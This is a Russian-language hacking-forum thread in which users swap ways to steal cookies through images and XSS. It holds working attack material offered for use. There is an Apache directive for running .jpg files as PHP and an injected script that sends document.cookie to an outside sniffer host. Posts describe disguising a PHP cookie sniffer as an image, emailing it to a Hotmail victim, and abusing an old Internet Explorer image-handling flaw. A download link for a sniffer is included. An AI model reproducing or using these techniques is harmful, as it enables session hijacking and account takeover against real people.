Cookie через рисунки

[Muhacir]

Слыхал можно cookie красть через рисунки на активных хсс.
у кого есть идеии

[Srg]

:) Товарисчь, картинки - это не в прямом смысле, ты имеешь в виду файлы с расширением jpg которые интерпретируються сервером как php скрипт...

Таким образом - AddType application/x-httpd-php .jpg

[Muhacir]

нет например жертве маил в хтмл формате отправим, с рисунками. а в рисунках xss на наш сниффер

[Srg]

Ты имеешь ввиду вот это?

Примеры использования сниффера:
Простой вызов по ссылке:
<a href="http://antichat.ru/cgi-bin/s.jpg?it is test">click me</a>
Вызов как картинки:
<img src="http://antichat.ru/cgi-bin/s.jpg">
Вызов из скрипта:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>

(с) old.antichat.ru

А эта "картинка" является собой пхп кодом, выполняющимся на сервере и сохраняющая кукисы жертвы

[Muhacir]

2 ой варриант
но как закапывать коды в рисунок.
например я хочу отправить писмо по хотмаил и когда он откроет писмо куки шли на мой сниффер

[Srg]

Для начала создаешь файл s.php в него пишешь код снифера, затем переименовываешь в s.jpg

Скачать снифер можно с http://kanick.ru, полазий по архиву и разберешься

[DimOnOID]

статейка про это ... тут (http://www.securitylab.ru/contest/291564.php)

[George767]

.....

[C!klodoL]

у тебя internet explorer 7, а видимо надо 6 чтобы работало

[DeBugger]

Если у кого старая версия, плиз откройте этот файлик через нее http://anopov.com/files/ntf/scr/hex/1.png
Мой IE7 открыл эту ссылку как текст такого содержания: ‰PNG  IHDR

ђwSЮ pHYs  
љњgAMA±Ћ|ыQ“ cHRMz%ЂѓщяЂйu0к`:?o’_ЕFIDATxЪbf``0 уЯiIEND®B`‚

[George767]

у тебя internet explorer 7, а видимо надо 6 чтобы работало

Точняк! Я только что вспомнил что у меня на ноутбуке старая версия Ie и реально пашет! Спасибо!

[censored!]

http://forum.antichat.ru/thread6137.html
http://forum.antichat.ru/thread9910.html

[kalpsik]

хз.. но если картинку закинуть на любой веб-сервер и открывать оттуда то работает тема на любый версиях Ie. тестил на 5,6 и 7....

[mad_xakep]

почему сделал такую картинку! пробовал вместо аватарки и на форуме картикой впихнуть полчучилось, но куки неидут мне. а хотя когда я положил картинку на хост открыл мне пришел ип но без кук само сабой, а когда картинка на форуме лежит ваще ниче неидет!

[XenOtai]

Необходимо, чтобы юзер заходил на твою картинку напрямую.